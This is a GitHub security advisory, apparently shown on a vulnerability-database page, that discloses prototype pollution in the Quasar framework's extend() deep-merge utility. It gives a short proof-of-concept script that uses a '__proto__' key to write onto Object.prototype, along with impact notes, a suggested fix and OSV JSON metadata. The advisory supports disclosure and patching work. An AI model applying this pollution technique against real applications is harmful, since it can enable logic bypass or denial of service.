GHSA-3R53-75J5-3G7J
Vulnerability from github – Published: 2026-07-24 22:36 – Updated: 2026-07-24 22:36Summary
quasar@2.20.1, the latest published version at the time of testing, appears to be vulnerable to prototype pollution through the public extend() utility exported from the package root.
When extend(true, target, source) is used for a deep merge, attacker-controlled object keys are recursively copied into the target object without blocking prototype-pollution primitives such as __proto__, constructor, or prototype.
This can allow attacker-controlled properties to be written to Object.prototype.
Details
Affected source:
src/utils/extend/extend.js
Distributed files include:
dist/quasar.server.prod.js
dist/quasar.server.prod.cjs
dist/quasar.client.js
The package root publicly exports extend. During deep merge, source object keys are recursively assigned into the target object. If the source object contains an own __proto__ property, the merge can descend into the prototype object and assign attacker-controlled properties onto Object.prototype.
PoC
rm -rf /tmp/quasar-extend-pp-poc
mkdir /tmp/quasar-extend-pp-poc
cd /tmp/quasar-extend-pp-poc
npm init -y >/dev/null
npm install quasar@2.20.1 vue@3.5.31 >/dev/null
cat > hack.mjs <<'JS'
import { extend } from 'quasar';
delete Object.prototype.polluted;
extend(true, {}, {
['__proto__']: {
polluted: 'yes'
}
});
console.log(({}).polluted);
delete Object.prototype.polluted;
JS
node ./hack.mjs
Observed output:
yes
Expected output:
undefined
Impact
This is a prototype pollution vulnerability.
If an application passes user-controlled or partially user-controlled objects into extend(true, ...), an attacker may be able to pollute Object.prototype in the same JavaScript process.
Depending on how the polluted property is later consumed, this may lead to logic bypass, unsafe default option injection, denial of service, or other application-specific security impact.
Suggested Fix
Reject or safely ignore dangerous keys before assignment, including:
__proto__
prototype
constructor
The merge implementation should also avoid descending into prototype-related properties during recursive merge.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.21.4"
},
"package": {
"ecosystem": "npm",
"name": "quasar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T22:36:45Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`quasar@2.20.1`, the latest published version at the time of testing, appears to be vulnerable to prototype pollution through the public `extend()` utility exported from the package root.\n\nWhen `extend(true, target, source)` is used for a deep merge, attacker-controlled object keys are recursively copied into the target object without blocking prototype-pollution primitives such as `__proto__`, `constructor`, or `prototype`.\n\nThis can allow attacker-controlled properties to be written to `Object.prototype`.\n\n### Details\n\nAffected source:\n\n```text\nsrc/utils/extend/extend.js\n```\n\nDistributed files include:\n\n```text\ndist/quasar.server.prod.js\ndist/quasar.server.prod.cjs\ndist/quasar.client.js\n```\n\nThe package root publicly exports `extend`. During deep merge, source object keys are recursively assigned into the target object. If the source object contains an own `__proto__` property, the merge can descend into the prototype object and assign attacker-controlled properties onto `Object.prototype`.\n\n### PoC\n\n```bash\nrm -rf /tmp/quasar-extend-pp-poc\nmkdir /tmp/quasar-extend-pp-poc\ncd /tmp/quasar-extend-pp-poc\n\nnpm init -y \u003e/dev/null\nnpm install quasar@2.20.1 vue@3.5.31 \u003e/dev/null\n\ncat \u003e hack.mjs \u003c\u003c\u0027JS\u0027\nimport { extend } from \u0027quasar\u0027;\n\ndelete Object.prototype.polluted;\n\nextend(true, {}, {\n [\u0027__proto__\u0027]: {\n polluted: \u0027yes\u0027\n }\n});\n\nconsole.log(({}).polluted);\n\ndelete Object.prototype.polluted;\nJS\n\nnode ./hack.mjs\n```\n\nObserved output:\n\n```text\nyes\n```\n\nExpected output:\n\n```text\nundefined\n```\n\n### Impact\n\nThis is a prototype pollution vulnerability.\n\nIf an application passes user-controlled or partially user-controlled objects into `extend(true, ...)`, an attacker may be able to pollute `Object.prototype` in the same JavaScript process.\n\nDepending on how the polluted property is later consumed, this may lead to logic bypass, unsafe default option injection, denial of service, or other application-specific security impact.\n\n### Suggested Fix\n\nReject or safely ignore dangerous keys before assignment, including:\n\n```text\n__proto__\nprototype\nconstructor\n```\n\nThe merge implementation should also avoid descending into prototype-related properties during recursive merge.",
"id": "GHSA-3r53-75j5-3g7j",
"modified": "2026-07-24T22:36:45Z",
"published": "2026-07-24T22:36:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/quasarframework/quasar/security/advisories/GHSA-3r53-75j5-3g7j"
},
{
"type": "WEB",
"url": "https://github.com/quasarframework/quasar/commit/d0a95d95ab3c29d13e1b8ba8c5e5025fd6ce35e7"
},
{
"type": "PACKAGE",
"url": "https://github.com/quasarframework/quasar"
},
{
"type": "WEB",
"url": "https://github.com/quasarframework/quasar/releases/tag/quasar-v2.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Quasar: Prototype pollution in the extend() utility"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.